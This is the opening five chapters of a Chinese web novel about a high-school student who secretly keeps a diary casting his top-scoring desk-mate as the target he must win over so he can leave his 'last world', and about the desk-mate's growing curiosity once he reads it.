《最后一个世界登出中》
1. 第 1 章
“俞越人呢?他让我给他在食堂捎个馒头,他去哪儿了,现在都没回来。”
“晚自习偷看小说,被安静哥发现,叫去办公室了,还没回来呢。”
“我靠,这不得被唾沫星子淹死,这学期安静哥肯定早就想找他喝茶了。”
“哎,那本小说是我的,我也在等凌迟了……”
坐在空位旁的眼镜男生单手托着下巴,视线落在摊在桌面的物理竞赛题上,明明距离对话中心很近,却又完全置身事外,任凭谈论什么也打搅不到他。
他的指骨微曲,不经意地转了一下笔。
没什么图案装饰的0.5普通黑色中性笔在他指尖打着旋儿,稳稳落入掌中。
手的主人卷起另一本作业,站起身,走出晚自习课间吵闹的教室,走进灯光昏暗的走廊,直直朝着尽头走去。
-
“都高二了,还看这些垃圾书,开学考测验排名都掉哪儿去了?班级分都被你拉低了。”
“这学期开学起我看你就一直不在状态。”
“你同桌可是年级第一,就不能多跟他学学?”
办公室内,有些地中海的中年男人手里拿着一本花花绿绿书皮的小说,严厉地批评着站在自己身前的清瘦少年。
俞越乖顺地垂着脑袋,像只怂鹌鹑,认错的话术倒是熟稔:“老师对不起,以后绝对不看了,我会好好向同桌学习的。”
他本就生得干净,五官也是长辈觉得讨喜的那一类型,轻扯嘴角就会出现两个酒窝,态度诚恳,让人很难对他生得起气来。
身为班主任,陈劲也拿他没什么办法。
俞越成绩在普通班的中上游,不算好也不算坏,还有近两年的时间,稳定提升的话,够一够一本的尾巴还是有希望的。他本人也从不闹事,课上安静,课下也与同学相处得很好,从没有在成绩以外的事情上让他操心。
加上他家境不好,家里情况有些复杂,是个可怜孩子,他也不想对他说什么重话。
只有一点不好,喜欢看一些“闲书”。
这已经是他这学期从他手里收的第三本课外书了。
陈劲不打算轻易放过他,低头随意看了眼手里的书封,念出了上面的字:“穿越之成功攻略六个男人……?”
隔壁桌的老师听罢没忍住噗嗤笑出了声。
陈劲一脸语塞地看向站在自己身前的少年,了然地问:“这书是凌梅梅的吧?你还真是不挑。”
凌梅梅是班上另一个酷爱看“闲书”的学生,也很让他头疼,每次将她叫到办公室就眼眶红红的,搞得他说话都不敢太大声。从高一到现在,他收过不少她的课外书,锁了大半柜子,等着高三毕业的时候再还给她。
俞越虽然爱看,但几乎都是从市里图书馆借的,得按时归还,不然超时会收费,他还没收不了,只能讲点狠话。
这本书没有图书馆的借用标签,显然不是借的。
“不是,是我的。”俞越脸不红心不跳地回答。
陈劲显然并不相信。
他知道这个年纪的孩子很讲所谓的义气,不会轻易抖出“共犯”。
他也无意继续深究,语重心长地唠叨起来:“别穿越攻略什么六个男人了,先攻略攻略你的六门学科吧。”
那一年国内还没开始什么3+2+1政策,只分简单的文理,他们是
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理科班,六门学科分别是语数外理化生。
俞越连连点头,只想赶紧应付完回去教室。
可下一秒,陈劲的视线便越过他,落到了他的身后,身体也直了起来,喊了一声:“许青翰。”
俞越一个激灵。
身后响起一声轻嗯,“今晚的物理作业有道题印错了。”
说着,许青翰轻车熟路地拎着书笔走到俞越身边。
他的个子比俞越高半个头,身材结实,没他那么清瘦。
俞越见状飞快开口:“老师,那我先……”走了。
陈劲一手接过许青翰递来的作业,一边打断他道:“你先别走,在办公室站会儿,等会一起回去。”
俞越哦一声,自觉往旁边让了点位置,站得笔直,视线偷偷打量起了救他于水火的少年。
这是他的同桌,许青翰,也是他们班稳居不下的第一名。
据说他中考出了点意外才到的他们普通班,否则妥妥的重点班前排,事实上高一一年的测验下来,他稳居年级第一的名次就能够说明一切。
他的家境也很好,身上的衣服都是很贵的牌子,可能简简单单一件T恤就比俞越浑身上下的行头加起来都贵。
据说他不需要参加高考,玩完儿高二,高三就可以直接去保送的大学上预科。
他们是完完全全两个世界的人。
许青翰是拥有光辉的主角,而他只是普通得不能再普通的一名路人甲。
可他不得不进入他的世界,以这样一个身份。
攻略他,完成任务。
然后死掉,顺利登出这个世界。
他的最后一个世界。
2. 第 2 章
“哪道题错了?”
“这道,应该是印错了一个数字。”
陈劲顺着许青翰手指的地方看去,发现他已经将印错的数字圈出来,改成了新的,并代入新的,解出了这道题。
他当即打开配套的作业答案,发现许青翰解出的答案与正确答案一模一样,他自己也算了一遍,确实是题目印刷上的错误。
他教学这么多年,不是第一次发生这种情况了,也不是每一次都有学生发现,并且能够算出错误在哪。
许青翰这样优秀的苗子,能在他们班呆两年都给他的教书履历添光了。
“行,待会儿我去班上说一声,改正一下。”陈劲将作业还给许青翰。
恰在这时,下一节自习课的上课铃声也响了起来。
许青翰视线若有似无地从站在一旁偷听的俞越身上飘过。
陈劲站起身,将那本《穿越之攻略六个男人》塞进抽屉里面,对两人说:“走吧,回班上继续上自习。”
许青翰也看见了那本小说的名字,或者说,上节晚自习俞越在他身边偷偷看的时候他就发现了。
书是俞越前桌凌梅梅的,这学期开始,俞越心思更不在学习上了,每天不是上课发呆、下课睡觉,就是晚自习偷偷摸摸看书、写日记。
原本这些都与他无关。
但偏偏,他不小心看见了俞越的日记内容。
-
事情要从上周末说起。
许青翰不喜欢呆在家里,每周末都会来学校自习。
除了他,班上也会有零星几个学生周末在教室自习,其中几乎都是住校的学生。
俞越不住校,但不知道从什么时候开始每周末都会来教室自习,坐在他的身边,埋头不知道写些什么,写完会在手机上玩会儿俄罗斯方块,偶尔偷偷看一眼他写好的作业,飞快在自己的作业本上誊写几个新鲜热乎的答案。
他们从高一开始就是同桌了,但他不怎么喜欢与人交际,每次都是俞越主动找他说话。
他不讨厌俞越,俞越找他他都会理会。
有时候是问他作业,有时候是问他借笔,有时候是问他考试……
就像每一对关系普通的同桌,没什么特别的地方。
高一一年下来,班上的座位调整过很多次,他和俞越却还是同桌。
除了俞越,他也找不到更合适的同桌人选了。
除非陈劲允许他一个人坐。
初中三年他就是一个人坐的。
但高中班级人数是双数,陈劲打着促进同学间关系的旗号,只安排成对的座位,不止一次地感慨:“等将来你们毕业、工作、立业、成家,回首高中三年的时候,最不可能忘记的就是同桌。”
那时候俞越就坐在他的身边,一边听着,一边笑眯眯地看了他一眼。
他没什么感觉,直视着讲台,只用余光与身边的人对视。
因为他读完高二就要去北方,离开溟市,两年的时间不足以任何人在他的记忆里留下太深的痕迹。
即便那个人是他的同桌。
开学统考是一中的传统,上周末开学考试的成绩已经下来了,各科老师都陆陆续续讲完了试卷,分数排名表也被贴在了黑板侧边。
班长刚贴上的时候不少学生围过去看,里三层外三层围了一个半圆,他没凑热闹。
他一直是第一,也没什么好看的。
上周六,俞越照例早早来到教室,却什么也没有做,只是趴在桌上补觉,从他的身边经过,就只能看见毛绒绒的后脑勺。
直到写完数理化生的作业,他才悠悠转醒,迷迷糊糊侧着脸看了自己好一会儿,他很瘦,脸颊撑在胳膊上也没什么软肉,但有两个酒窝。
九月中的温度还很高,趴在教室的桌上睡觉不会着凉,就是会有些不太舒服。
俞越几乎睡了一上午,醒来的时候脑子还是懵的,呼吸也变得钝钝的,整个人都像是刚开机的ai机器人,还在努力运转着卡顿的程序。
许青翰不太懂他为什么不在家里睡觉,非要来教室里硬邦邦的桌上睡觉。
但转念一想,他自己也是因为不想呆在家里才躲来学校的,并没有任何质疑对方的立场。
他只是用余光瞥了俞越一眼,便开始继续写语文作业。
身体重启结束,俞越开始慢吞吞地有了些动作。
先是坐直了身子,伸了个懒腰,怕影响到他,胳膊朝另一个方向抻展。
后又抬手揉了揉胸口还是肚子,不知道是不是饿了,毕竟距离中午12点就剩两个小时了,又或者是被桌子生硬的边沿硌着了,夏天衣服薄,确实容易硌疼。
很快,偷觑了他几眼,见他在写语文作业,不好偷走几个ABCD,便又收回了视线。
最后,翻出自己的作业,开始咬起了笔头。
语文作业也写完了,许青翰才开始写最后一门英语。
俞越见状也拿出了自己的英语周报,写一会儿选择题,又偷偷看他的报纸一眼,发现自己的答案与他的不一样,想也不想便划掉了A,改成了
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与他相同的C。
他写得很快,没多久便翻了页,俞越跟不上他的速度,翻页瞧了瞧后面的,被几篇阅读理解密密麻麻的字母绕晕,又翻了回来,埋头继续咬起了笔头。
写完作文,他将英语周报放在桌上,没有收起,起身离开了教室,准备去吃午饭。
他知道,俞越会看。
放在以前,俞越看完会反过来思考为什么这题选C而不是选A,有时候自己搞不明白,会在他回来的时候问他。
这学期开学之后,俞越几乎没再问过他任何问题了,哪怕他好像并没有听懂。
离开教室的时候,他不经意扫了眼贴在黑板侧边的开学考试排名表。
俞越的班级名次下降了9名。
这让他觉得有些糟糕。
他也不知道自己为什么会产生这样多管闲事的情绪。
可能是十月初暑热未褪,周末教室空调不通电,只几个吊扇吱呀转着,闷得人心浮躁。
周末食堂也不供饭,好在学校周边就是一条小吃街,他随意走进一家面馆,下了碗面。
这个年纪正是长身体的时候,对于男生来说,一碗面很快就能下肚。
他家里规矩多,习惯了慢条斯理的细嚼慢咽,今天中午却吃得很快。
因为面馆的空调温度打得太低,冻得人不舒服,再次走进正午的太阳底下,才有种四肢百骸都回春的感觉。
外头还是热的。
被晒没一会儿身上就开始出汗。
他径直回了教室。
俞越已经不在了,应该是也吃午饭去了。
他随意看了眼他摊开在桌面的英语周报,发现除了最后的作文,上面的答案全都已经填上了,与他的没有任何区别。
他的眉头不觉拢起。
他不喜欢俞越直接照搬全抄他的作业,这只会让他的班级名次继续下跌。
俞越以前不会这样的。
班级座位每周都会朝右挪动一行,这周他的位置刚好靠近墙那边,许是因为太出神,从俞越的座位走进自己座位的时候不小心撞了一下桌子。
只听“砰”的一声,一个A7大小的本子从他的抽屉里掉落了下来。
本子没有封扣,掉落的时候翻了开来。
他俯下身想捡,指尖却在看见上面的内容后顿了一下。
上面写着——
【攻略对象:许青翰】
【这是我的最后一个世界了】
【^^完成攻略任务就可以顺利登出了】
3. 第 3 章
许青翰大脑有一瞬的宕机。
他是个有些无趣的人,为数不多的兴趣爱好在打球上,其余时间都给了学习,看的课外书也是《时间简史》之类,几乎没看过什么当下流行的网络小说。
“攻略对象”“快穿世界”“攻略任务”这类字眼对他来说无疑是陌生的。
放在平时,他不会随便翻看别人的东西,更何况是疑似日记本这样私密的东西。
但现在,他的名字出现在了上面,还这样疑点重重,他根本做不到熟视无睹。
少见地,他的心跳微微加速起来。
毕竟不是什么光明磊落的举动,还怕被人发现。
心跳声中,本子被他捡起,一目十行地快速翻看起来。
扉页写着俞越的名字,下面还用笔画上了一条简陋的小鱼。
他方才看见的是第一页,有一道很深的折痕,不知是因为本子的主人经常翻到这一页还是不小心压到了。
后面,开始出现了日期。
确实是本日记。
从今年8月开始记录的日记。
【8月21日】
【今天在医院看见许青翰了,他的眼睛受伤了,不知道是不是又被他爸打了。许延怎么这么可恶,出轨小三不说,还总苛待亲儿子】
【他好像看见我了,但很快离开了,我跟丢了。哎,他应该不想被人看见吧】
【8月25日】
【好担心许青翰,他家那个小区太难进了,不然真想去看看他】
【为什么人家穿越都有个吊炸天的系统,我什么都没有】
【9月1日】
【终于要开学了,可以见到许青翰了,必须得赶紧完成攻略任务才行。不知道他的眼睛好点了没】
【9月2日】
【见到许青翰了,他的眼睛没什么问题了,还换了新的眼镜】
【新的眼镜还是黑框的,和之前的差不多,挺酷】
【9月5日】
【被开学考榨干,不出意外是考砸了,不敢问许青翰答案了】
【9月11日】
【开学考成绩出来了,名次退了好多,离一本线越来越远了,不过也没事,说不定高考之前就登出了这个世界,都不用参加高考呢】
【许青翰真厉害,又是年级第一。他那个小三生的异父异母的弟弟掉出年级前五十了,哈哈,loser】
【9月14日】
【小说被安静哥收了,正看到兴头上呢,主角就要登出最后一个快穿世界、回到他原本的世界幸福生活了……我也好想快点登出这个倒霉催的世界啊啊啊】
【9月15日】
【被安静哥训了,要是许青翰能像孙二狗帮凌梅梅那样帮我望风就好了T T】
【9月20日】
【有人开始讨论秋季篮球赛了,好久没见许青翰打球了,他要是能参加就好了,肯定能带我们班拿到名次】
【9月30日】
【明天就是国庆了,许青翰会来学校自习吗?】
【10月1日】
【许青翰没来学校】
【10月2日】
【许青翰又没来学校】
……
【10月7日】
【太可恶了,被许青翰放了整个国庆的鸽子】
许青翰:“……”
国庆假期他因为误食芒果过敏,身上起了很多红疹子,躲去了医院,便没来学校自习。
况且,他并没有跟俞越约定过什么,怎么能算放他鸽子。
最后一篇日记是在今天,国庆假期后的第一个周六,应该是刚才他离开去吃午饭的时候写的。
【时间不多了,必须得赶紧攻略许青翰才行,我有了一个绝妙的计划】
直到看完最后一篇,许青翰也没完全搞明白“攻略对象”“快穿世界”“攻略任务”是什么意思。
他只看到了俞越对自己的记录,对自己的过度了解。
这很不对劲。
在他看来,照他们之间的关系,俞越不应该了解那么多有关于他的私事。
就好像陡然在自己生活的地方发现了许多微型针孔摄像头,这很恐怖。
他将本子重新塞回俞越的抽屉里面,打开自己的手机,搜索起了相关词条。
很快,他便了解了俞越日记本内那些词汇的意思。
在更高的维度存在着类似于“快穿局”的东西,会给穿越者安排任务,进入许许多多个世界,完成任务方可离开。
“攻略任务”属于任务类型之一,需要攻略者走进攻略对象心里,达成任务要求的结果,或是让攻略对象爱上自己,或是得到攻略对象的信任带他走出泥泞低谷,或是帮攻略对象走上人生巅峰。
不知道俞越所谓的攻略任务会是什么。
总不会是让攻略对象爱上自己,他又不是女生。
部分穿越者是因为在原本的世界出了意外才被快穿局捕捉,完成所有任务就能获得重生的机会,回到原本的世界。
假设,俞越写的都是真的,那么这是他的最后一个任务世界,只要成功完成了攻略他的任务,他就能回去了。
但一切的假设都建立在俞越不是幻想的基础上。
是了,身为正常人,看见这些后的第一反应是否定与反驳,而不是轻易相信。
有些人就是会有这样天马行空的幻想,沉浸在自己的幻想里,构建着不存在的世界。
但不管是真是假,俞越这个人都非常非常可疑。
-
他开始了对俞越的观察。
不知道他最后一篇日记里写的“绝妙的计划”会是什么。
观察了几天,暂时没见他有什么行动。
但如果穿越是真的,他觉得现在的俞越和高一时的俞越没什么太大区别,除了在学习上变得散漫了些,应该不会是近期穿越的。
已经是第三节晚自习了,天黑如墨,月亮躲进了云层里面,只有几颗星子闪闪烁烁。
陈劲走在前面,俞越和许青翰跟在他后面,刚打上课铃的缘故,各班都还没有很快安静下来。
边走,陈劲边对许青翰说:“平时多监督监督你同桌。”
又对俞越说:“多跟你同桌学学。”
许青翰嗯一声。
俞越忙不迭点头。
陈劲的办公室在这一层尽头,要经过三个班才到他们的四班。
刚走进教室,陈劲便用手拍了拍讲台上多媒体的铁皮,发出哐哐的声响,道出熟悉的开场白:“安静——”
“上课铃都响多久了?隔老远就能听见你们在吵。”
“国庆早过去了,心还收不回来?”
“都高二了,这么关键的一年,你们……”
俞越心虚地猫在许青翰身边,从后门钻进了教室。
桌上有一个白馒头,是他托孙旺从食堂给他捎的。
孙旺就是凌梅梅的同桌,坐在许青翰前座,比起本名,俞越更习惯叫他的外号“孙二狗”,更亲近。
他们是理科班,学艺体的不多,孙旺是班上唯一一个学体育的学生,晚自习经常去操场训练,回来的时候会经过食堂。
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等陈劲唠唠叨叨了几句告诉了大家物理作业上的印刷错误、坐在讲台坐班的时候,俞越才偷摸摸从桌子底下撕下一点馒头,迅速塞进嘴里,无声地咀嚼起来。
不多久,一张小纸条从前桌传了过来。
是凌梅梅写的,字迹娟秀:【安静哥知道那本书是我的了不?】
俞越用手掩着,叠在作业本上偷偷地回:【包不知道的,我哪儿能把你供出去。还有什么书不?我晚上回寝看,明天就还给你】
写完偷偷观察了一番讲台上的陈劲,见他低着头没看下面,才给凌梅梅丢去。
很快又收到了凌梅梅的回复:【够意思。有,待会儿下课我偷偷给你】
俞越正阅读完纸条,便见一只手将一张便利贴轻轻拍在了他眼前,好巧不巧,完全覆盖住了下面的小纸条。
便利贴上写着解题步骤和一点标注,字迹有些潦草,但能辨认得出。
是许青翰的。
俞越有些搞不清楚状况,怔愣的空档,余光中一道身影从讲台走了过来。
俞越来不及反应,拿着笔,鬼使神差地在最后的一处空位写下一句“谢谢,我理解了”,连带着下面的小纸条一起,飞快丢回给了许青翰。
陈劲已经大步走到了他们身边,视线落上许青翰手里的纸条,看了两眼,又离开了。
至于俞越晚自习偷吃馒头的事——他看见了,但不管这个,这个年纪正是长身体的时候,晚自习要上到9:40,会饿也正常,反正也不是吃什么螺蛳粉、韭菜包子,啃个馒头就让他啃吧。
见陈劲又坐回了讲台上面,一个学生拿着不懂的题目上去问他,俞越狠狠松了口气。
凌梅梅不知道后排发生了什么,只知道安静哥过来了、又离开了,应该是没发现小纸条,紧绷的背脊也放松了下来。
人果然还是不能顶风作案。
终于熬到这节晚自习结束,借着教室内的吵嚷掩护,俞越感激地对正在收拾书本的许青翰说:“刚才谢谢你啊,许青翰。”
许青翰看他一眼,没说什么,将桌角的便利贴又递了回去,下面还覆着那张小纸条。
他也不知道自己为什么要帮俞越。
可能是因为俞越才刚被陈劲拉去办公室喝茶,很快又被抓包传纸条,明天说不定会被拎到后面罚站,不方便他的观察。
可能是因为日记本上的那句“要是许青翰能像孙二狗帮凌梅梅那样帮我望风就好了”,顺手就帮了。
俞越随意将下面的纸条揉了揉,丢进垃圾桶内毁尸灭迹,只留下了许青翰的这张便利贴,夹进了作业本里。
刚才写后面作业的时候,他遇见了一道很难的题,好巧不巧,正是许青翰写在便利贴上的那道。
他很开心许青翰主动帮他打掩护。
如果可以,他想给许青翰颁发一个“好同桌”奖。
见讲台上的班主任终于离开,前桌的凌梅梅一边说着“刚才吓死我了”,一边转身将一本夹着小说的物理书偷偷递给俞越。
俞越接过书,塞进自己的书包里面,又熟稔地将外头的物理书抽出,还给凌梅梅,没有与她解释太多。
许青翰将这一幕看在眼里,嘴唇翕动了一下,但最后还是什么也没说。
能说什么呢。
说希望俞越好好学习,搞懂纸条上的题目和思路,不要一直看小说?
管得未免也太宽了。
……
翌日,许青翰刚到班上,便在自己的桌上看见了一个海盐苏打饼干和一张小纸条。
上面写着:“谢礼。”
4. 第 4 章
显然是俞越放的。
他也认得俞越的字。
与他这个人的散漫不同,字特别工整,可以称得上一句非常漂亮,像是练过的。
所有科目里,他的语文成绩也一直是最好的,开学考试各科名次都下跌了,只有语文还维持着正常水平。
高一的时候他见过俞越语文试卷的作文,一眼下去便觉赏心悦目。
许青翰将饼干和纸条收进抽屉,早上刚吃过早餐,这会儿还塞不下其他东西。
没多久,俞越便踩着早自习的铃声匆匆回了教室。
他刚才一直在教室外面吃早点,和孙旺一起,有说有笑。
回来的时候,许青翰看见他的手里拿着一瓶熟悉的老干妈,拧好了盖子,放进了抽屉里面。
而他手里还攥着一点蘸着老干妈的馒头,正在往嘴巴里塞。
刚才在教室外的时候老干妈被他放到了地上,蹲着一边蘸一边吃。
不知道这学期从什么时候开始,俞越忽然每天频繁地啃馒头。
不是说馒头不好,只是这个年纪正是需要均衡摄入营养的时候,成天啃馒头蘸老干妈,实在是补充不了什么营养,更何况俞越本来就瘦。
见他一边腮帮子鼓起,笑着转眸问他有没有吃饼干,许青翰回答说:“收起来了,晚点饿了吃。”
想了想,终于还是没忍住问:“你怎么天天啃馒头?”
俞越嚼了几下腮帮子,眼睫心虚地眨了眨,含糊回答:“在攒钱。”
大部分这个年纪的学生想买想要的东西只能通过省钱。
凌梅梅的那些小说就是通过每天省吃俭用攒下的零花钱买的。
这无可厚非。
许青翰也不好再说什么。
他的家境虽然很好,几乎能买到他想要的所有明码标价的物品,但他并不能感觉到有多快乐。
反倒是俞越、凌梅梅那样的才更开心吧。
今天是英语的早自习,俞越摊开英语书的单词页,两条胳膊压着,没多久下巴就搭在了胳膊上面,眼皮也越来越重,不知不觉睡了过去。
最近晚上总是睡不好,白天总是犯困。他也控制不住。
他是想晚上在寝室学习会儿的,但反常地,越看课本越精神,反倒是看会小说才能更好地入眠。
没多久,英语老师姗姗来迟。
英语老师姓简,染着亚麻色的卷发,是一中最时髦的老师之一。
她看见了几个早自习睡觉的学生,一一走过去拍醒,对前几个都比较简单粗暴,临到俞越身边,动作忽然放缓了些,手在他肩膀上轻推了推。
俞越睁开眼睛,余光瞥见了身边的人影,当即抬起脑袋,还没完全清醒过来,视线缓慢对焦在了课本上面。
英语老师见状没有多作停留,径直走回了讲台。
不是没人发觉老师的“区别对待”,但俞越有心脏病的事儿不是什么秘密,许青翰也知道,多照顾一些也是正常的。
包括昨晚他在晚自习上看小说,陈劲也只是在下课的时候忽然通知他带着小说去他办公室,没有将他当场抓包,怕吓得他心跳加速。
很快,英语老师便拿起连接着教室喇叭的扩音笔,说:“大家抓紧时间背单词,待会儿英语课前听写。”
教室里顿时响起一片怨声载道。
俞越也搓了搓脸,试图打起精神,强撑着背起了单词。
不知道是不是没睡好,还是胸口被桌沿硌到了,一根筋忽然开始抽疼起来,像被一只看不见的手给打了个结,俞越只能短暂地屏住呼吸。
半晌,痛觉才渐渐消退。
背后出了一层薄汗,随着脊背的放松,衣料与皮肤摩擦,带来少许凉意,疼痛却仿佛蔓延到了整个后背,没有那么疼,但也很难忽视。
他已经有些习惯了。
习惯了这具残缺的身体。
等顺利攻略许青翰,就能借用心脏病离开,完美登出这个世界了。
-
因为早自习的小插曲,第一节英语课前的听力俞越好几个单词都没写出来。
听写本被收了上去,又被打乱,发了下来,让同学之间互相批改。
“拿到自己的本子和其他同学交换一下,一个单词5分,改完算一下分数。”
好巧不巧,俞越拿到了许青翰的听写本。
他下意识看了眼许青翰手里的,发现不是自己的听写本后有些小失落。
许青翰将他的小动作看在眼里,也发现了他手里自己的听写本。
只见俞越看也没看就直接用红笔打了一个大大的勾,在底下洋洋洒洒写下了100的分数,对许青翰的实力十分自信。
“我好像有个单词写错了。”许青翰冷不丁开口。
“啊?”俞越一愣,“哪个?”
“你仔细找找呢。”
俞越当即翻开英语课本,一个一个对着检查起来。
可当他反复检查了三遍,甚至将自己没能默写出来的那几个单词都记住了,也没发现许青翰口中写错的那个单词。
俞越决定再次求助许青翰:“你哪个单词写错了?我没找到。”
许青翰将脑袋凑了过来,也跟着检查了一遍,悠悠说道:“可能是我记错了。”
俞越:“……”
俞越心底升起了一点怀疑,但又觉得许青翰不是这样的人。
最后他只能又一个字母一个字母检查了一遍,还将课本上没抽到的单词也检查了一遍,最后认命地将100分的听写本交给了小组组长。
可能是真的许青翰记错了吧。
下课之后,英语老师将所有的听写成绩都看了一遍,错的较少的发了下去,将对应单词抄写几遍就行,而一些错的较多的学生则被叫去了办公室。
俞越就是后者之一。
按照传统惯例,会先批评一顿,然后回去抄写背诵,晚自习抽空再来一趟办公室重新听写一遍,直到分数达优为止。
俞越混在几个学生里面,乖顺地垂着脑袋,英语老师最后也没怎么批评他,反倒将他一个人留了下来,关心了句他的身体情况。
俞越扯出一对酒窝,笑着说:“放心吧简老师,我好着呢。”
离开办公室,酒窝瞬间消失,抬手按了按心脏的位置。
英语老师的办公室在四楼,俞越慢吞吞走下楼的时候,下节课的铃声也响了起来。
以后还是得好好背单词才行。
爬四楼也太难为他了。
好在因为给许青翰批改听写本,他将单词全都记熟了,倒是不害怕晚上的二次听写。
-
一上午时间走得飞快。
俞越偶尔犯困,便会望着讲台上方的钟表发会儿呆,强撑着不让脑袋和课桌接触。
终于,指针走向了12。
俞越顺着人流不紧不慢走向食堂。
大多学生会赶着冲去食堂排队打饭,俞越太佛系,跟不上他们的速度,一般都是自己一个人吃的。
今天也是一样。
等他到食堂的时候,各个窗口都已经排上了很长的队伍。
等排到他,剩下的菜也已经不多了。
好在他也不挑食,什么都能吃,而且剩下不多的情况下,打饭阿姨会多给他盛一点,总体来说性价比还是
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蛮高的。
他一般中午会打一个荤素都有的菜,只打一个菜的学生太少,食堂阿姨都已经眼熟他了,会对他多照顾一些。
食堂的白米饭和汤都是免费的,他会多吃一点。
今天也是一样。
当他将餐盘放下,打汤回来的时候,冷不丁碰见了端着餐盘的许青翰。
对方只身一人,像是在找空位的样子,视线对上,顿了一下,见他也是一个人,大步朝他的方向走了过来。
很巧,俞越对面的位置是空着的。
很快,被许青翰的餐盘占据。
他们是同桌,在食堂碰见了坐一块吃饭也挺正常的。
“今天怎么这么晚才来食堂吃饭?”俞越好奇地问。
这不是他第一次在食堂见到许青翰,但许青翰与其他很多学生一样,最后一节课下课速度很快地去到食堂打饭,每次在食堂看见他,他都快吃完了。
“下课有点事耽搁了。”许青翰含糊回答。
俞越哦一声,没想太多,心底挺开心的。
这还是他第一次和许青翰一起在食堂吃饭呢。
许青翰的餐盘很丰盛,足足打了三个菜,两荤一素,看着就很诱人的样子。
和俞越寡淡的餐盘形成了很大的对比。
许青翰没有直接动筷,而是冷不丁开口:“你就吃这么少?”
俞越看了眼自己堆成小山的白米饭,觉得还挺多的,知道许青翰指的是自己只打了一个菜,笑着说:“能吃饱的。”
一口菜,三两口米饭就行。
许青翰抿了下唇,拿起筷子,状似不经意地将自己的餐盘往前推了一点,像是为了胳膊腾出空间。
他拨了拨餐盘,低声说道:“我打的有点多,估计吃不完,你…不嫌弃的话可以吃一点我的。”
俞越眼睛亮了一下。
他能看出许青翰的好心。
许青翰这个人就是这样,淡淡的,距离感很强,谁也走不进他心里的样子,但人很好,虽然讨厌麻烦,但能帮的忙都不会推脱。
他就是这样一个很好很好的人。
俞越也没与他客气,笑眯眯地将筷子伸向他的餐盘,每样夹走了一点,不敢夹得太多,怕他吃不饱。
夹完,俞越十分满足地往嘴巴里面塞了团混着菜的米饭,一边腮帮子鼓起,含含糊糊地问:“你不喝汤吗?”
许青翰答:“太清汤寡水了,喝不惯。”
确实,食堂里的汤大多是海带汤或西红柿蛋汤,一点点料加一大堆水,味道能淡出鸟来。
不过俞越挺爱喝的,至少比白水多点味道,还免费。
许青翰吃饭的时候不太爱说话的样子,俞越也跟着安静下来,闷头解决着午餐,比往常都要丰富的午餐。
同时,他止不住地用余光偷偷地瞄对面的人。
这其实不是他第一次偷觑许青翰吃饭了,高一一学年他在食堂看见过他不少回,但这是他第一次这么近距离观察正在吃饭的他。
许青翰吃饭也很慢条斯理,好像不论何时何地身上都透着一股与众不同的气质,总是叫人无法移开视线,与他出众的外表有关,与他的家世也有关。
也对,他可是主角啊。
独一无二的主角。
攻略他的难度也不是一般的大。
幸好,那个绝妙的计划好像有点效果了……
故意放在抽屉边缘的日记本,第一页被压出了折痕,上面写着攻略对象许青翰的名字。
他知道,许青翰看见了。
他这样聪明的攻略者,自然明白最好的猎手会将自己伪装成猎物的道理。
5. 第 5 章
俞越一边胡思乱想着,一边扒拉着饭菜,嘴角沾染了饭粒也不察觉。
直到吃完的时候,许青翰给他递过来了一包纸巾。
俞越愣了一下,当即接过,抽出一张还了回去,道了声谢,旋即将手里这张纸巾分成两半,一半自己擦嘴巴,另一半分给了许青翰。
许青翰到底是富裕家庭长大的孩子,因嫌麻烦,很少会将一张纸巾分成两半用,但他并没有拒绝俞越的好意。
节俭不是什么坏事。
两人一同将餐具送去了回收处,又一同走出了食堂。
食堂这会儿人已经不多了,但还是热闹的,刚出食堂,世界一下子安静了许多。
俞越不觉放慢了点脚步,嘴唇翕动了一下,明知故问道:“你中午在哪午休?”
高中时间紧张,午休更是非常重要,直接决定着下午和晚上的状态。
最近暑热还未褪去,一些学生会选择在教室午休,但更多的走读生会回家午休,毕竟教室的桌椅趴着睡觉并不舒服,远比不上床。
还有像俞越这样的住校生会去宿舍午休。
他知道,许青翰大多会在教室的桌子上趴着睡会儿,高一一学年就是这样过来的。
果不其然,许青翰回答说:“教室。”
俞越哦一声,状似不经意地邀请道:“要不要来我宿舍午休?比教室舒服很多…总不好意思白蹭你的午餐。”
最后一句是打补丁,也是在努力让许青翰接受。
但他也没抱太大的希望,毕竟他们关系没那么好,许青翰那样的性格,不一定会愿意和别人挤一张床。
没想到许青翰思忖了片刻,竟然同意了:“行。”
俞越不免有些惊喜,当即转了个方向,带着许青翰朝宿舍楼走去。
一中在几年前翻新扩建过,占地面积很大,从食堂走到宿舍楼就要花大几分钟,好在俞越的宿舍就在一楼,不用爬楼梯。
俞越从口袋拿出钥匙,打开了门。
一中的宿舍都是四人位,俞越却一个人住一个宿舍,没有其他舍友。
原因还是他的心脏病。
高一刚住校的时候,俞越是和班上几个男生住一个宿舍的,那时候俞越晚上的睡眠质量还不错,熬不了夜,每天下晚自习回去第一件事就是洗漱睡觉,睡得稍晚就会心悸得厉害,但另外几个舍友会乒乒乓乓捯饬会儿,或补作业,或洗衣服,这也怪不了他们。
俞越跟班主任提出了换宿舍的事,因为他特殊的身体情况,校方还是挺照顾他的,很快给他换到了现在这个宿舍,一个人住。
这个宿舍的床有点小问题,会吱吱响,但不至于塌,也因为这个原因没有学生入住,俞越并不在意,反正他一个人住,不会吵到别人,也不会被别人吵到。
关于换宿舍的事,许青翰大概了解一点,还是凌梅梅跟俞越聊天的时候他不可避免听到的。
宿舍被整理得干净整洁,或者说俞越本来也没什么东西。
许青翰快速环视一圈,发现就只有一个床铺铺着垫被。
虽然也在预料之中,就算俞越不是一个人住,其他床铺也会有别人睡觉,他还是得跟俞越挤一张床。
来之前他就做好了准备。
因为俞越日记本里的那句“我有了一个绝妙的计划”,他仔细观察了好几天,却迟迟一无所获,他讨厌这种什么都抓不住的感觉,也讨厌信息的严重不对等,俞越了解那么多他的私事,他却对俞越一无所知,这很糟糕。
他不想坐以待毙,只能主动起来。
包括今天中午食堂的偶遇。
最后一节课下课,他故意放慢了脚步,混在人流里,跟在俞越后面。
俞越总是一副不紧不慢的样子,脾气也特别好,对人总是笑眯眯的。
身上藏着很多秘密。
“好了,来吧,爬上来的时候小心一点。”俞越抢先脱了鞋子爬上床,将床铺得更平整了些,坐在床边,招呼起了还站在下铺的许青翰。
许青翰也脱下了自己的鞋子,爬了上去。
随着他的动作,床又发出了一点吱吱的声响,好在还算稳固,并没有很大的晃动。
宿舍的床不大,睡两个十七八岁的少年会有些拥挤,刚躺下,俞越和许青翰的胳膊便贴在了一起。
好在俞越清瘦,许青翰也身材匀称,倒也满打满算刚好能够装下。
俞越贴心地给许青翰让出了靠墙那边的位置,自己躺在了靠围栏的那侧。
